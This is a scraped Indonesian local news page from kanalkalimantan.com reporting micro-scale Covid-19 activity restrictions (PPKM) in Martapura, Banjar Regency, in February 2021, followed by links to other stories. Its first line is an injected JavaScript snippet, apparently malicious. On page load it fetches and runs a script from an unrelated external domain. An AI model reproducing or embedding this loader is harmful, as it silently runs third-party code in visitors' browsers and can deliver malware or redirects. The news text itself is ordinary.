(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) berbasis mikro mulai 9 hingga 22 Februari 2021.
PPKM berbasis mikro akan dilaksanakan pada kecamatan yang dijadikan contoh yakni Kecamatan Martapura.
Rakor dipimpin Wakapolres Banjar Kompol Muhammad Fihim, Sekda Banjar HM Hilman, Sekretaris BPBD Banjar Azhar Alamsyah, perwakilan Kodim 1006 Martapura, Dinas Sosial, Dinas Kesehatan, serta Satpol PP Banjar.
Wakapolres Banjar Muhammad Fihim menjelaskan, PPKM berbasis mikro adalah pelaksanaan PPKM yang ada di level kecamatan dan kelurahan sesuai arahan Presiden. Untuk anggaran dana dibebankan kepada pihak terkait, semisal desa anggaran dibebankan pada dana desa. Untuk Nakes anggaran dibebankan pada Dinkes, kemudian Babinsa dan Babinkabtibmas anggaran dibebankan pada TNI dan Polri.
”Rakor ini juga guna lebih memantapkan detail pelaksanaan PPKM berbasis mikro di Kabupaten Banjar, diharapkan kerjasama semua pihak dalam hal ini terutama yang berada di kecamatan dan kelurahan,” ujar Wakpolres Banjar, Selasa (9/2/2021).
Setelah Rakor, Sekda Banjar menjelaskan jika PPKM berbasis mikro dari semula PPKM untuk 10 kecamatan diperkecil, diambil keputusan Kecamatan Martapura menjadi wilayah pelaksanaan PPKM berbasis mikro.
“Kecamatan Martapura menjadi model, dan contoh daerah lain, serta pada daerah pelaksanaan PPKM berbasis mkro ini, diharapkan nantinya menghasilkan penurunan angka Covid-19,” jelas Hilman.
Hilman menambahkan akan dilaksanakan operasi yustisi secara rutin bersama tim. Juga akan disiapkan Swab antigen bagi masyarakat atau pengusaha cafe yang kedapatan berkumpul dan beroperasi melebihi pukul 22.00 Wita.
“Pelaksanaan PPKM berbasis mikro Kecamatan Martapura diterepkan di Kelurahan Sekumpul, Kelurahan Sungai Paring dan Kelurahan Sungai Sipai. Tiga lokasi ini ditetapkan dengan pertimbangan karena angka terkonfirmasi positif Covid-19 cukup tinggi,” pungkasnya. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.